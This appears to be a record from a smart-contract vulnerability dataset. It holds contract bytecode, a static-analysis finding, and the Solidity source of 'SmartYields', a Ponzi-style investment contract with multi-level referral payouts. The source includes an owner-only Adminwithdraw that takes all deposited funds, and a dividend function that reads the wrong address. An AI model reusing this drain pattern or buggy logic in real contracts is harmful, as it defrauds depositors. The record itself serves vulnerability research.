06973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613428602b913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133546022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132576029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061320f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806134046024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132356022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133336021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133df6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6d426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f20616464726573734348546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c6973744348546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e7366657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572a165627a7a723058203dd47d9b3117b6a26e2cd5bbdcfdceb53aae69ec60ed72006ed55662a938e4b50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 6,281 |
0xf1f14a0fff6aabd137d937bcb149379ab2607eda
|
pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SmartYields {
using SafeMath for uint256;
uint256[] public REFERRAL_PERCENTS = [50, 40, 30];
uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300];
uint256 constant public TOTAL_REF = 120;
uint256 constant public PROJECT_FEE = 100;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalBonus;
uint256 public INVEST_MIN_AMOUNT = 0.013 ether;
uint256 public BONUS_MIN_AMOUNT = 0.013 ether;
bool public bonusStatus = false;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
mapping (address => mapping(uint256 => uint256)) internal userDepositBonus;
uint256 public startDate;
address payable public ceoWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable ceoAddr, uint256 start) public {
require(!isContract(ceoAddr) );
ceoWallet = ceoAddr;
if(start>0){
startDate = start;
}
else{
startDate = block.timestamp;
}
plans.push(Plan(40, 50)); // 200%
plans.push(Plan(60, 40)); // 240%
plans.push(Plan(100, 30)); // 300%
}
function invest(address referrer, uint8 plan) public payable {
require(block.timestamp > startDate, "contract does not launch yet");
require(msg.value >= INVEST_MIN_AMOUNT,"error min");
require(plan < 4, "Invalid plan");
uint256 pFee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
ceoWallet.transfer(pFee);
emit FeePayed(msg.sender, pFee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
else{
user.referrer = ceoWallet;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, msg.value, block.timestamp));
totalInvested = totalInvested.add(msg.value);
emit NewDeposit(msg.sender, plan, msg.value, block.timestamp);
//bonus
if(bonusStatus){
if(user.deposits.length >= 2 && user.deposits.length <=5){
uint256 firstAmount = user.deposits[0].amount;
if(firstAmount >= BONUS_MIN_AMOUNT ){
uint256 preAmount = user.deposits[user.deposits.length -2].amount;
if(user.deposits.length == 2){
if(preAmount == msg.value){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if( msg.value > preAmount ){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[1];
}
}
else if(user.deposits.length == 3){
if(preAmount == msg.value){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if( msg.value > preAmount ){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[2];
}
}
else if(user.deposits.length == 4){
if(preAmount == msg.value){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if( msg.value > preAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[3];
}
}
else if(user.deposits.length == 5){
if(preAmount == msg.value){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if( msg.value > preAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[4];
}
}
totalBonus = totalBonus.add(userDepositBonus[msg.sender][user.deposits.length-1].mul(msg.value).div(PERCENTS_DIVIDER));
}
}
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
uint256 holdDays = (to.sub(from)).div(TIME_STEP);
if(holdDays > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER));
}
}
//end of plan
if(finish <= block.timestamp){
if(userDepositBonus[msg.sender][i] > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER));
}
}
}
}
return totalAmount;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if(user.checkpoint > 0){
uint256 holdBonus = 0;
if (user.checkpoint < block.timestamp) {
uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
if(holdDays > 0){
holdBonus = holdDays.mul(HOLD_BONUS);
}
}
return holdBonus;
}
else{
return 0;
}
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) {
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) {
return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//config
function setMinMax(uint256 minAmount, uint256 minBonus) external {
require(msg.sender == ceoWallet, "only owner");
INVEST_MIN_AMOUNT = minAmount;
BONUS_MIN_AMOUNT = minBonus;
}
function setBonusStatus(bool status) external {
require(msg.sender == ceoWallet, "only owner");
bonusStatus = status;
}
function withdrawTokens(address tokenAddr, address to) external {
require(msg.sender == ceoWallet, "only owner");
IERC20 token = IERC20(tokenAddr);
token.transfer(to,token.balanceOf(address(this)));
}
function Adminwithdraw() external {
require(msg.sender == ceoWallet, "only owner");
msg.sender.transfer(getMainnetBalance());
}
function getMainnetBalance() public view returns (uint256) {
return address(this).balance;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
|
0x6080604052600436106102305760003560e01c8063600d20ce1161012e578063aecaa634116100ab578063d7ffca911161006f578063d7ffca91146107d0578063e262113e14610803578063e85abe0914610818578063fb4cb32b1461084b578063fbfcb2791461087e57610230565b8063aecaa634146106ce578063b668ac4b14610714578063c0806b0314610729578063c43a180814610791578063cd23b441146107bb57610230565b8063a0aafaa7116100f2578063a0aafaa7146105ef578063a522ad251461061b578063a681f95014610656578063a8aeb6c214610686578063a8dd07dc146106b957610230565b8063600d20ce1461052c5780636386c1c7146105565780636bb18556146105895780636f9fb98a146103e65780637e3abeea146105bc57610230565b8063388655fb116101bc5780634a64e867116101805780634a64e8671461046d5780634bc4e085146104a05780634ce87053146104b55780635216aeec146104e8578063581c5ae6146104fd57610230565b8063388655fb146103e6578063389cabee146103fb5780633ccfd60b1461041057806348c372031461042557806348d44bd11461045857610230565b8063153ab9df11610203578063153ab9df1461030f57806329420b74146103425780632ed394211461036b57806332bc298c1461038257806336144c9a1461039757610230565b806301c234a81461023557806303a93c0c1461025c578063040a772e146102c75780630b97bc86146102fa575b600080fd5b34801561024157600080fd5b5061024a6108b1565b60408051918252519081900360200190f35b34801561026857600080fd5b5061028f6004803603602081101561027f57600080fd5b50356001600160a01b03166108b7565b6040518082606080838360005b838110156102b457818101518382015260200161029c565b5050505090500191505060405180910390f35b3480156102d357600080fd5b5061024a600480360360208110156102ea57600080fd5b50356001600160a01b031661090e565b34801561030657600080fd5b5061024a610bdc565b34801561031b57600080fd5b5061024a6004803603602081101561033257600080fd5b50356001600160a01b0316610be2565b34801561034e57600080fd5b50610357610c0b565b604080519115158252519081900360200190f35b34801561037757600080fd5b50610380610c14565b005b34801561038e57600080fd5b5061024a610c97565b3480156103a357600080fd5b506103ca600480360360208110156103ba57600080fd5b50356001600160a01b0316610c9e565b604080516001600160a01b039092168252519081900360200190f35b3480156103f257600080fd5b5061024a610cbf565b34801561040757600080fd5b506103ca610cc4565b34801561041c57600080fd5b50610380610cd3565b34801561043157600080fd5b5061024a6004803603602081101561044857600080fd5b50356001600160a01b0316610e15565b34801561046457600080fd5b5061024a610e33565b34801561047957600080fd5b5061024a6004803603602081101561049057600080fd5b50356001600160a01b0316610e38565b3480156104ac57600080fd5b5061024a610ec0565b3480156104c157600080fd5b506104ca610ec5565b60408051938452602084019290925282820152519081900360600190f35b3480156104f457600080fd5b5061024a610ef4565b6103806004803603604081101561051357600080fd5b5080356001600160a01b0316906020013560ff16610efa565b34801561053857600080fd5b5061024a6004803603602081101561054f57600080fd5b5035611655565b34801561056257600080fd5b506104ca6004803603602081101561057957600080fd5b50356001600160a01b0316611673565b34801561059557600080fd5b5061024a600480360360208110156105ac57600080fd5b50356001600160a01b03166116a0565b3480156105c857600080fd5b5061024a600480360360208110156105df57600080fd5b50356001600160a01b03166116d2565b3480156105fb57600080fd5b506103806004803603602081101561061257600080fd5b5035151561174a565b34801561062757600080fd5b506103806004803603604081101561063e57600080fd5b506001600160a01b03813581169160200135166117a9565b34801561066257600080fd5b506103806004803603604081101561067957600080fd5b50803590602001356118ec565b34801561069257600080fd5b5061024a600480360360208110156106a957600080fd5b50356001600160a01b0316611943565b3480156106c557600080fd5b5061024a61195e565b3480156106da57600080fd5b506106fb600480360360208110156106f157600080fd5b503560ff16611964565b6040805192835260208301919091528051918290030190f35b34801561072057600080fd5b5061024a6119b4565b34801561073557600080fd5b506107626004803603604081101561074c57600080fd5b506001600160a01b0381351690602001356119b9565b6040805160ff909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b34801561079d57600080fd5b5061024a600480360360208110156107b457600080fd5b5035611a9f565b3480156107c757600080fd5b5061024a611aac565b3480156107dc57600080fd5b5061024a600480360360208110156107f357600080fd5b50356001600160a01b0316611ab2565b34801561080f57600080fd5b5061024a611ad0565b34801561082457600080fd5b5061024a6004803603602081101561083b57600080fd5b50356001600160a01b0316611ad6565b34801561085757600080fd5b5061024a6004803603602081101561086e57600080fd5b50356001600160a01b0316611af4565b34801561088a57600080fd5b5061024a600480360360208110156108a157600080fd5b50356001600160a01b0316611b13565b6103e881565b6108bf611cc2565b6001600160a01b0382166000908152600860205260409081902081516060810192839052916003918201919082845b8154815260200190600101908083116108ee57505050505090505b919050565b6001600160a01b038116600090815260086020526040812081805b8254811015610bd45760006109bc61098d62015180600787600001868154811061094f57fe5b6000918252602090912060039091020154815460ff90911690811061097057fe5b60009182526020909120600290910201549063ffffffff611b4116565b85600001848154811061099c57fe5b906000526020600020906003020160020154611ba190919063ffffffff16565b90508084600101541015610bcb576000610a546103e8610a4860078860000187815481106109e657fe5b6000918252602090912060039091020154815460ff909116908110610a0757fe5b906000526020600020906002020160010154886000018781548110610a2857fe5b906000526020600020906003020160010154611b4190919063ffffffff16565b9063ffffffff611bfb16565b905060008560010154866000018581548110610a6c57fe5b90600052602060002090600302016002015411610a8d578560010154610aaf565b856000018481548110610a9c57fe5b9060005260206000209060030201600201545b90506000428410610ac05742610ac2565b835b905080821015610b6457610b03610af662015180610a48610ae9858763ffffffff611c6516565b879063ffffffff611b4116565b879063ffffffff611ba116565b95506000610b1e62015180610a48848663ffffffff611c6516565b90508015610b6257610b5f610b526103e8610a48610b43600a8663ffffffff611b4116565b8c6000018b81548110610a2857fe5b889063ffffffff611ba116565b96505b505b428411610bc75733600090815260096020908152604080832088845290915290205415610bc7573360009081526009602090815260408083208884529091529020548754610bc491610af6916103e891